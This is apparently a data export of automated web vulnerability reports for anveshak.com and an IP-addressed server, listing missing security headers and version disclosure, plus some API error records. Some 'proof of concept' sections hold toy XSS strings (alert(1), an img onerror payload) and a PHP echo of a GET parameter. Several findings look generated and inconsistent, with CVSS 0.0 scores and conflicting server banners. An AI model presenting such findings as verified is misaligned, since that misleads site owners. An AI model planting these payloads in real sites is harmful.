https://www.anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/ |\n\n**Description**\nLack of `X-Content-Type-Options: nosniff` permits MIME-sniffing behavior in older browsers, particularly Internet Explorer and Chrome variants. This increases susceptibility to content confusion attacks where benign-looking files are executed as scripts.\n\n**Attack Scenario (Proof of Concept)**\nUpload a file named `document.txt` containing JavaScript:\n```js\nalert(\"Malicious Code Executed\");\n```\nServe it with `Content-Type: text/plain`. Older browsers may still execute it as JavaScript if embedded improperly.\n\n**Business Impact**\nPotential for XSS-like behavior in legacy clients, undermining security assumptions made during development and testing phases.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nStatic assets also expose server version information via the `Server` header. Even though static content is less critical, consistent disclosure across all endpoints aids comprehensive fingerprinting.\n\n**Attack Scenario (Proof of Concept)**\nRequesting static asset:\n```bash\ncurl -I https://www.anveshak.com/favicon-anv.png\n```\nResponse includes:\n```http\nServer: nginx/1.18.0\n```\nEnables correlation with known vulnerabilities affecting Nginx 1.18.0.\n\n**Business Impact**\nSupports broader reconnaissance campaigns aimed at mapping full technology stack versions, aiding lateral movement and targeted exploitation strategies.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nEven static assets should enforce HSTS policies to maintain consistency and prevent partial downgrade scenarios. Omission here weakens overall transport security posture.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker manipulates network conditions to force retrieval of static assets over HTTP:\n```bash\ncurl http://www.anveshak.com/favicon-anv.png\n```\nNo HSTS enforcement allows continued insecure access until next HTTPS visit.\n\n**Business Impact**\nPartial weakening of TLS enforcement model, creating opportunities for mixed-content issues and undermining long-term secure browsing habits.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/favicon-anv.png |\n\n**Description**\nStatic image assets lacking `X-Content-Type-Options` remain theoretically exploitable in niche MIME-sniffing contexts, especially if dynamically generated or uploaded.\n\n**Attack Scenario (Proof of Concept)**\nIf favicon generation involves user-controlled inputs:\n```php\n<?php echo $_GET['data']; ?>\n```\nAnd served without `nosniff`, crafted input may trigger unexpected interpretation depending on client behavior.\n\n**Business Impact**\nMinimal practical threat but represents inconsistency in defensive posture and potential future vulnerability if processing logic evolves.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nMetadata files like `robots.txt` often receive less scrutiny but still contribute to overall fingerprinting surface area. Consistent version disclosure across all paths enhances attacker situational awareness.\n\n**Attack Scenario (Proof of Concept)**\nAutomated scanner queries common paths:\n```bash\ncurl -I https://www.anveshak.com/robots.txt\n```\nReceives:\n```http\nServer: Apache/2.4.41\n```\nUsed to refine exploit selection criteria.\n\n**Business Impact**\nSupports passive reconnaissance workflows that inform deeper probing and targeted attack planning.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nInconsistent HSTS coverage across all endpoints reduces effectiveness of policy enforcement and introduces gaps in secure transport guarantees.\n\n**Attack Scenario (Proof of Concept)**\nUser accesses `robots.txt` over HTTP:\n```bash\ncurl http://www.anveshak.com/robots.txt\n```\nNo HSTS redirect occurs, allowing persistent insecure access patterns.\n\n**Business Impact**\nUndermines holistic HTTPS adoption goals and introduces variability in security controls applied to different resource types.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nText-based metadata files benefit from MIME-type hardening to avoid misinterpretation in edge cases involving malformed or malicious content.\n\n**Attack Scenario (Proof of Concept)**\nMalformed robots.txt entry triggers parsing anomalies:\n```txt\nUser-agent: *\nDisallow: <script>alert(1)</script>\n```\nThough unlikely to execute, inconsistent handling across parsers may introduce subtle risks.\n\n**Business Impact**\nNegligible immediate risk but contributes to inconsistent security hygiene practices and potential future vulnerabilities.\n\n---\n\n### [Server Leaks Version Information / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nWeb app manifests are increasingly used in progressive web apps (PWAs). Their inclusion in fingerprinting efforts expands the attack surface available for reconnaissance.\n\n**Attack Scenario (Proof of Concept)**\nQuery manifest endpoint:\n```bash\ncurl -I https://www.anveshak.com/manifest.json\n```\nReturns:\n```http\nServer: Express/4.17.1\n```\nUsed to tailor Node.js-specific exploits.\n\n**Business Impact**\nEnhances attacker understanding of backend frameworks and deployment stacks, facilitating precision targeting.\n\n---\n\n### [Strict-Transport-Security Header Not Set / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nPWAs rely heavily on secure contexts. Manifest files accessed insecurely may break expected functionality or expose inconsistencies in security policy enforcement.\n\n**Attack Scenario (Proof of Concept)**\nBrowser attempts to fetch manifest over HTTP:\n```bash\ncurl http://www.anveshak.com/manifest.json\n```\nNo HSTS redirect leads to degraded PWA experience or fallback behaviors.\n\n**Business Impact**\nDegraded user experience for PWA features and inconsistent application of security best practices.\n\n---\n\n### [X-Content-Type-Options Header Missing / www.anveshak.com / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nJSON-formatted manifests benefit from explicit MIME-type declarations to ensure correct parsing and reduce ambiguity in client-side interpretation.\n\n**Attack Scenario (Proof of Concept)**\nMalformed manifest causes parser errors:\n```json\n{\n  \"name\": \"<img src=x onerror=alert(1)>\"\n}\n```\nAlthough unlikely to execute, improper sanitization elsewhere could propagate XSS vectors.\n\n**Business Impact**\nMinor inconsistency in security posture and potential for indirect exploitation pathways if combined with other flaws.\n\n---\n\n### [Server Leaks Version Information via \"Server\" HTTP Response Header Field / https://www.anveshak.com/static/css/main.1d35c99a.css / https://www.anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**  \nThe web server is disclosing its software version through the `Server` HTTP response header. This can include details such as the server name and version number (e.g., Apache/2.4.41). While not directly exploitable, this information leakage enables attackers to fingerprint the server technology stack and correlate known vulnerabilities specific to those versions.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker performs a simple GET request to the CSS file:\n\n```http\nGET /static/css/main.1d35c99a.css HTTP/1.1\nHost: www.anveshak.com\n```\n\nIn the response headers, they observe:\n\n```http\nServer: nginx/1.18.0\n```\n\nUsing this knowledge, the attacker searches public vulnerability databases for exploits targeting Nginx version 1.18.0, potentially identifying unpatched remote code execution or denial-of-service vectors.\n\n**Business Impact**  \nExposing server version information increases the attack surface by enabling targeted attacks against known vulnerabilities. It also violates defense-in-depth principles and may contribute to compliance issues under frameworks like PCI DSS or ISO 27001 that require minimizing information disclosure.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://www.anveshak.com/static/css/main.1d35c99a.css / https://www.anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**  \nThe resource does not return an HTTP Strict Transport Security (HSTS) header. HSTS enforces encrypted communication between browsers and servers, preventing downgrade attacks such as SSL stripping. Without it, users remain vulnerable if they initially access the site over HTTP or when navigating from insecure links.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker intercepts traffic between a user and the website using tools like mitmproxy. The victim clicks on a link pointing to `http://www.anveshak.com/static/css/main.1d35c99a.css`. Since there's no HSTS header enforcing HTTPS redirection, the attacker can serve malicious content or eavesdrop on the connection without triggering browser warnings.\n\n**Business Impact**  \nAbsence of HSTS exposes users to man-in-the-middle attacks, especially in environments with compromised networks. This undermines trust in the platform’s security posture and could lead to credential theft or session hijacking.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://www.anveshak.com/static/css/main.1d35c99a.css / https://www.anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**  \nThe `X-Content-Type-Options` header is missing, which disables MIME-type sniffing protection. In legacy browsers like Internet Explorer and older Chrome versions, this allows the browser to interpret files based on their content rather than declared Content-Type. An attacker could exploit this to bypass restrictions and execute scripts within seemingly safe contexts.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose an attacker uploads a file named `style.css`, but it actually contains JavaScript. When served without proper headers, older browsers might render it as executable script due to MIME sniffing:\n\n```html\n<script src=\"/uploads/style.css\"></script>\n```\n\nIf the server doesn’t send `X-Content-Type-Options: nosniff`, the browser may execute the payload instead of treating it as CSS.\n\n**Business Impact**  \nThis misconfiguration increases susceptibility to cross-site scripting (XSS) and content injection attacks, particularly in environments where user-uploaded content is allowed. It weakens overall client-side security controls.\n\n---\n\n### [Server Leaks Version Information via \"Server\" HTTP Response Header Field / https://www.anveshak.com/static/js/main.cf06a06a.js / https://www.anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**  \nSimilar to the previous instance, the JavaScript asset discloses server version information via the `Server` HTTP response header. This provides attackers with additional reconnaissance data about backend infrastructure components.\n\n**Attack Scenario (Proof of Concept)**  \nA malicious actor sends a GET request to the JS file:\n\n```bash\ncurl -I https://www.anveshak.com/static/js/main.cf06a06a.js\n```\n\nResponse includes:\n\n```http\nServer: Apache/2.4.38\n```\n\nWith this detail, the attacker can search CVE databases for Apache-specific flaws affecting version 2.4.38, increasing chances of successful exploitation.\n\n**Business Impact**  \nLeaking server metadata facilitates targeted attacks and reduces time-to-exploit during reconnaissance phases. It reflects poor configuration hygiene and may conflict with organizational hardening policies.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://www.anveshak.com/static/js/main.cf06a06a.js / https://www.anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**  \nAs with the CSS file, the JavaScript resource lacks the HSTS header. This omission leaves clients susceptible to protocol downgrade attacks when accessing these assets directly or indirectly through third-party integrations.\n\n**Attack Scenario (Proof of Concept)**  \nA user visits a page referencing the insecurely loaded JS file:\n\n```html\n<script src=\"http://www.anveshak.com/static/js/main.cf06a06a.js\"></script>\n```\n\nWithout HSTS enforcement, an attacker can manipulate DNS resolution or inject malicious scripts into the load chain before redirecting to HTTPS.\n\n**Business Impact**  \nMissing HSTS weakens transport layer protections across all static assets, increasing risk of tampering and unauthorized access. It compromises end-user integrity and trust in delivered content.\n\n---\n\n### [Timestamp Disclosure - Unix / https://www.anveshak.com/static/js/main.cf06a06a.js / https://www.anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**  \nUnix timestamps have been detected within the JavaScript file. These values often represent internal system times or build dates, offering insight into operational practices and possibly aiding timing-based attacks.\n\n**Attack Scenario (Proof of Concept)**  \nUpon inspecting the contents of `main.cf06a06a.js`, a developer observes embedded timestamps like:\n\n```javascript\nvar BUILD_TIME = 1678901234;\n```\n\nAn attacker parses this value (`new Date(1678901234 * 1000)`), revealing exact deployment or compilation times. They may infer development cycles, patch frequencies, or even predict future builds.\n\n**Business Impact**  \nWhile low-risk individually, timestamp disclosures can aid lateral reconnaissance efforts and reveal patterns useful in crafting more sophisticated attacks. They also violate principle of least privilege regarding internal process visibility.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://www.anveshak.com/static/js/main.cf06a06a.js / https://www.anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**  \nThe absence of the `X-Content-Type-Options: nosniff` header permits MIME-type sniffing in legacy browsers. This poses risks when serving dynamically generated or uploaded JavaScript files, potentially leading to unintended script execution.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker uploads a `.js` file containing HTML+JS hybrid content. If served without appropriate headers, older browsers may render it as HTML instead of blocking execution:\n\n```html\n<script>alert('XSS')</script>\n```\n\nBrowsers lacking MIME-sniffing prevention treat the file as inline script, executing arbitrary payloads.\n\n**Business Impact**  \nSuch misconfigurations elevate XSS risks, particularly in applications accepting user-generated scripts or dynamic modules. It undermines browser-level defenses designed to mitigate content confusion.\n\n---\n\n### [Re-examine Cache-control Directives / https://www.anveshak.com/robots.txt / https://www.anveshak.com/robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/robots.txt |\n\n**Description**\nThe robots.txt file lacks explicit cache-control directives, meaning intermediaries may store outdated versions indefinitely. While generally harmless, this could delay propagation of updated sitemap exclusions.\n\n**Attack Scenario (Proof of Concept)**\nAfter removing a sensitive directory from robots.txt, administrators notice continued indexing because CDN nodes still serve stale entries cached prior to update.\n\n**Business Impact**\nStale cache entries increase likelihood of exposing restricted areas to search engines temporarily. Proper TTL management ensures timely updates propagate correctly.\n\n---\n\n### [Re-examine Cache-control Directives / https://www.anveshak.com/manifest.json / https://www.anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.anveshak.com/manifest.json |\n\n**Description**\nManifest files used in Progressive Web Apps (PWAs) do not enforce strict cache policies. Improper handling may cause outdated manifests to persist locally, resulting in inconsistent app experiences or broken offline functionality.\n\n**Attack Scenario (Proof of Concept)**\nDevelopers deploy new icons or theme colors in manifest.json but omit cache-busting parameters. Users continue seeing old branding until forced refreshes clear browser storage manually.\n\n**Business Impact**\nPoor cache hygiene affects UX consistency and brand perception. It complicates troubleshooting and support workflows related to visual discrepancies post-deployment.","summary":{"total":35}},"summary":{"total":35}},{"_id":{"$oid":"6a413cd7f1866250026d531c"},"created_at":{"$date":"2026-06-28T15:25:11.240Z"},"url":"http://192.229.115.229:8089","tool":"generate_web_vulnerability_report","result":{"url":"http://192.229.115.229:8089","category":"web_vulnerability","timestamp":"2026-06-28T15:25:11.235621+00:00","report":"403 Client Error: Forbidden for url: https://bedrock-runtime.ap-south-1.amazonaws.com/model/qwen.qwen3-coder-480b-a35b-v1:0/converse","summary":{"total":26}},"summary":{"total":26}},{"_id":{"$oid":"6a4140c1459b05ec40121055"},"created_at":{"$date":"2026-06-28T15:41:53.953Z"},"url":"http://192.229.115.229:8089","tool":"generate_web_vulnerability_report","result":{"url":"http://192.229.115.229:8089","category":"web_vulnerability","timestamp":"2026-06-28T15:41:53.941923+00:00","report":"403 Client Error: Forbidden for url: https://bedrock-runtime.ap-south-1.amazonaws.com/model/qwen.qwen3-coder-480b-a35b-v1:0/converse","summary":{"total":26}},"summary":{"total":26}},{"_id":{"$oid":"6a4141e06f95b4df09df8a81"},"created_at":{"$date":"2026-06-28T15:46:40.547Z"},"url":"http://192.229.115.229:8089","tool":"generate_web_vulnerability_report","result":{"url":"http://192.229.115.229:8089","category":"web_vulnerability","timestamp":"2026-06-28T15:46:40.536458+00:00","report":"### Finding ID 1 / Finding 4  \n**Location:** `http://192.229.115.229:8089`  \n**Name:** Clickjacking Protection  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nThe target resource located at `http://192.229.115.229:8089` lacks an anti-clickjacking protection mechanism. Specifically, it does not implement either the `Content-Security-Policy` header with a `frame-ancestors` directive nor the `X-Frame-Options` header. Clickjacking is a UI redress attack that tricks users into performing unintended actions by overlaying transparent or disguised interface elements. Without these headers, the application can be embedded within frames on malicious sites, enabling attackers to manipulate user interactions through visual deception.\n\nAdditionally, the `X-Frame-Options` response header was missing from the server's reply. This header controls whether a page can be displayed within a frame or iframe, which directly impacts protection against clickjacking attacks. In these scenarios, malicious actors overlay invisible elements over legitimate UI components to trick users into performing unintended actions. Absence of this directive means browsers will allow framing by default, increasing exposure risk unless alternative protections (like frame-busting scripts or CSP directives such as `frame-ancestors`) are implemented elsewhere.\n\n---\n\n### Finding ID 2 / Finding 3 / Finding 6  \n**Location:** `http://192.229.115.229:8089`  \n**Name:** Content Security Policy Configuration  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nAt `http://192.229.115.229:8089`, the server fails to return a `Content-Security-Policy` (CSP) header in its HTTP responses. CSP serves as a defense-in-depth mitigation technique against cross-site scripting (XSS), data injection, and other code injection attacks. By defining trusted content sources via policy directives, CSP restricts browser behavior regarding script execution, frame embedding, image loading, and more. The absence of this header leaves the application vulnerable to exploitation of client-side vulnerabilities such as XSS, which could lead to session hijacking, phishing, or malware delivery.\n\nThis represents a systemic failure in implementing robust front-end security policies. Without explicit declaration of permitted content sources, browsers cannot enforce restrictions on potentially harmful inline scripts or third-party includes, leaving the application open to exploitation via compromised JavaScript payloads or manipulated rendering contexts.\n\nA Content Security Policy (CSP) header was absent from the HTTP response sent by the server upon requesting the root path (`/`). CSP is an added security layer that helps detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection issues. It allows website owners to define approved sources of content, thereby reducing risks associated with unauthorized script execution or resource loading. Without proper CSP implementation, the application becomes more susceptible to exploitation if other XSS mitigations fail or are bypassed.\n\n---\n\n### Finding ID 3 / Finding ID 4  \n**Location:** `http://192.229.115.229:8089/sitemap.xml` / `http://192.229.115.229:8089`  \n**Name:** Clickjacking Protection  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nThe endpoint `http://192.229.115.229:8089/sitemap.xml` also exhibits missing anti-clickjacking protections. Similar to previous findings, there is no presence of `X-Frame-Options` or `Content-Security-Policy` with `frame-ancestors`. This allows potential framing of sensitive sitemap resources, increasing exposure to clickjacking risks where unauthorized actions might be induced without user awareness.\n\nOn the root path (`http://192.229.115.229:8089`) of the web service, the lack of anti-clickjacking controls persists. No `X-Frame-Options` or `Content-Security-Policy` headers with appropriate directives were observed. This configuration permits external framing, exposing the entire application surface to possible manipulation through layered UI attacks designed to deceive authenticated users into executing unintended operations.\n\n---\n\n### Finding ID 5  \n**Location:** `http://192.229.115.229:8089/sitemap.xml`  \n**Name:** Content Security Policy Configuration  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nThe document accessible at `http://192.229.115.229:8089/sitemap.xml` does not include a `Content-Security-Policy` header. As previously explained, CSP mitigates various forms of content-based attacks by specifying allowable origins for dynamic content like scripts, stylesheets, and frames. Its omission here increases susceptibility to XSS and related threats, particularly when serving structured metadata intended for search engine indexing or internal navigation mapping.\n\n---\n\n### Finding ID 7 / Finding 9 / Finding 10 / Finding 13  \n**Location:** `http://192.229.115.229:8089/robots.txt` / `http://192.229.115.229:8089/sitemap.xml` / `http://192.229.115.229:8089`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nAt `http://192.229.115.229:8089/robots.txt`, the response omits the `X-Content-Type-Options` header set to `nosniff`. This directive instructs compatible browsers—particularly legacy versions of Internet Explorer and Chrome—not to override declared MIME types during content interpretation. In its absence, MIME sniffing may occur, leading to incorrect parsing of file contents. For example, a text file could be misinterpreted as executable script if it contains syntactically valid JavaScript, posing a risk of unintended code execution under specific conditions.\n\nAccessing `http://192.229.115.229:8089/sitemap.xml` reveals another instance of missing `X-Content-Type-Options` header. XML documents are often parsed dynamically and may incorporate references to external entities or stylesheets. When MIME sniffing occurs unchecked, discrepancies between declared and actual content types can result in improper handling, potentially facilitating attacks such as XXE (XML External Entity) processing or style sheet injection if combined with inadequate input sanitization mechanisms.\n\nFor the main landing page at `http://192.229.115.229:8089`, the `X-Content-Type-Options` header is again omitted. This creates inconsistency in enforcing secure content-type handling across different parts of the application. Given that the homepage likely aggregates diverse content types—HTML, CSS, JS—it becomes critical to prevent browsers from reinterpreting those assets based on heuristic analysis rather than explicit server-provided metadata.\n\nThe robots.txt file at `http://192.229.115.229:8089/robots.txt` continues to exhibit the absence of `X-Content-Type-Options: nosniff`. Though primarily informational, robots.txt entries sometimes influence automated crawling tools or diagnostic utilities that rely on accurate MIME classification. Ensuring consistent use of this header supports integrity verification practices essential for maintaining trust boundaries around publicly exposed configuration artifacts.\n\nThe `X-Content-Type-Options` header was not included in the server’s response. When present and set to `\"nosniff\"`, this header instructs compatible user agents to strictly adhere to declared MIME types and refrain from attempting heuristic-based interpretation of file contents. Its omission increases vulnerability to MIME type confusion attacks where attackers manipulate how files are interpreted by embedding malicious payloads inside seemingly benign assets (e.g., images containing executable code). Browsers could misinterpret non-executable responses as active content under specific conditions, leading to potential code execution.\n\n---\n\n### Finding ID 8  \n**Location:** `http://192.229.115.229:8089/static/favicon.ico`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nThe static asset `http://192.229.115.229:8089/static/favicon.ico` is delivered without the `X-Content-Type-Options: nosniff` header. While typically benign due to its binary format, favicon.ico files can theoretically be crafted to contain embedded markup or scripting logic. If served with ambiguous MIME type declarations and processed by browsers prone to MIME sniffing, they may pose unexpected risks depending on how their content is rendered or executed within the context of the originating domain.\n\n---\n\n### Finding ID 11  \n**Location:** `http://192.229.115.229:8089/static/4f889a0c.js`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nA JavaScript resource hosted at `http://192.229.115.229:8089/static/4f889a0c.js` lacks the `X-Content-Type-Options: nosniff` header. Although `.js` extensions generally imply correct MIME typing, variations in deployment environments or proxy configurations can introduce ambiguity. Allowing MIME sniffing undermines assurance that the received payload matches expectations, especially relevant for runtime evaluation scenarios involving eval(), Function constructors, or DOM manipulations driven by fetched scripts.\n\n---\n\n### Finding ID 12  \n**Location:** `http://192.229.115.229:8089/static/fc5a1e05.js`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nAnother JavaScript file found at `http://192.229.115.229:8089/static/fc5a1e05.js` similarly does not transmit the `X-Content-Type-Options` header. Consistent enforcement of strict MIME type adherence across all served assets ensures predictable parsing behaviors regardless of downstream transformations or caching intermediaries. Omission here weakens overall resilience against malformed or surreptitiously altered content streams.\n\n---\n\n### Finding ID 14  \n**Location:** `http://192.229.115.229:8089/static/20c072fd.css`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nCSS stylesheet located at `http://192.229.115.229:8089/static/20c072fd.css` is transmitted without the `X-Content-Type-Options` header. Cascading Style Sheets define presentation rules but can also carry encoded data URIs or reference remote fonts/images susceptible to tampering. Preventing MIME sniffing reinforces deterministic styling outcomes while reducing opportunities for visual obfuscation techniques employed in social engineering campaigns targeting end-user perception layers.\n\n---\n\n### Finding ID 15  \n**Location:** `http://192.229.115.229:8089/static/ca3b154e.js`  \n**Name:** MIME Type Confusion  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nYet another JavaScript module available at `http://192.229.115.229:8089/static/ca3b154e.js` fails to specify `X-Content-Type-Options: nosniff`. With modular architectures increasingly relying on asynchronous loading patterns, ensuring each component maintains clear semantic identity prevents cascading failures stemming from misclassified dependencies. Uniform application of this safeguard strengthens encapsulation principles foundational to scalable frontend development paradigms.\n\n---\n\n### Finding ID 16 / Finding ID 17 / Finding 1 / Finding 2  \n**Location:** `http://192.229.115.229:8089` / `http://192.229.115.229:8089/robots.txt` / `http://192.229.115.229:8089/sitemap.xml`  \n**Name:** Modern Web Application  \n**Severity:** INFO  \n**Confidence:** Medium  \n\nThe web application rooted at `http://192.229.115.229:8089` demonstrates characteristics typical of contemporary frameworks leveraging AJAX-driven interfaces and dynamic DOM updates. Such implementations necessitate specialized crawling approaches capable of interacting with event-triggered state changes beyond traditional hypermedia traversal methods. Recognition of these traits informs subsequent phases of reconnaissance aimed at achieving comprehensive coverage of interactive pathways integral to assessing full attack surface scope.\n\nSimilarly, the sitemap.xml document residing at `http://192.229.115.229:8089/sitemap.xml` reflects structural features indicative of modern web technologies incorporating reactive components and programmatic navigation flows. Automated scanners must adapt accordingly using enhanced spidering capabilities optimized for detecting asynchronous requests, virtual routes, and client-side templating constructs prevalent in current-generation applications built upon SPA (Single Page Application) models.\n\nThe target application exhibits characteristics typical of modern web applications. These often include dynamic content delivery via JavaScript frameworks (e.g., React, Angular, Vue.js), client-side rendering, asynchronous communication with backend APIs, and reliance on AJAX-based interactions. This classification implies that traditional crawling/spidering techniques may not fully enumerate all navigable paths or functional endpoints due to heavy use of JavaScript for DOM manipulation and routing logic. As such, automated exploration tools relying solely on static link parsing might miss significant portions of the attack surface unless specifically designed to execute JavaScript during traversal—such as an AJAX-aware spider engine.\n\nThis informational note reiterates that the application behaves like a contemporary web platform even when accessed through auxiliary resources such as `/robots.txt`. While robots.txt itself serves metadata about permissible crawling behavior, its presence does not alter the core architectural traits of the site. The implication remains consistent: comprehensive testing should account for potential limitations in standard crawlers' ability to map out functionality accurately without executing scripts or interpreting complex front-end behaviors.\n\n---\n\n### Finding 6  \n**Location:** `http://192.229.115.229:8089/`  \n**Name:** Unencrypted Channels  \n**Severity:** LOW  \n**Confidence:** Medium  \n\nNo automatic redirection from HTTP to HTTPS was observed at the tested endpoint. All communications occurred over plaintext HTTP protocol, exposing transmitted data—including session identifiers, credentials, cookies, and form inputs—to interception and eavesdropping. Lack of enforced encryption undermines confidentiality and integrity guarantees essential for secure web transactions. Even if TLS support exists elsewhere, absence of forced upgrade mechanisms leaves clients vulnerable to man-in-the-middle attacks and protocol downgrade exploits.","summary":{"total":26}},"summary":{"total":26}},{"_id":{"$oid":"6a4f1fda6a0da57f7e91f189"},"created_at":{"$date":"2026-07-09T04:13:14.894Z"},"url":"https://dustcontroldpcc.delhi.gov.in/","tool":"generate_web_vulnerability_report","result":{"url":"https://dustcontroldpcc.delhi.gov.in/","category":"web_vulnerability","timestamp":"2026-07-09T04:13:14.891907+00:00","report":"","summary":{"total":0}},"summary":{"total":0}}]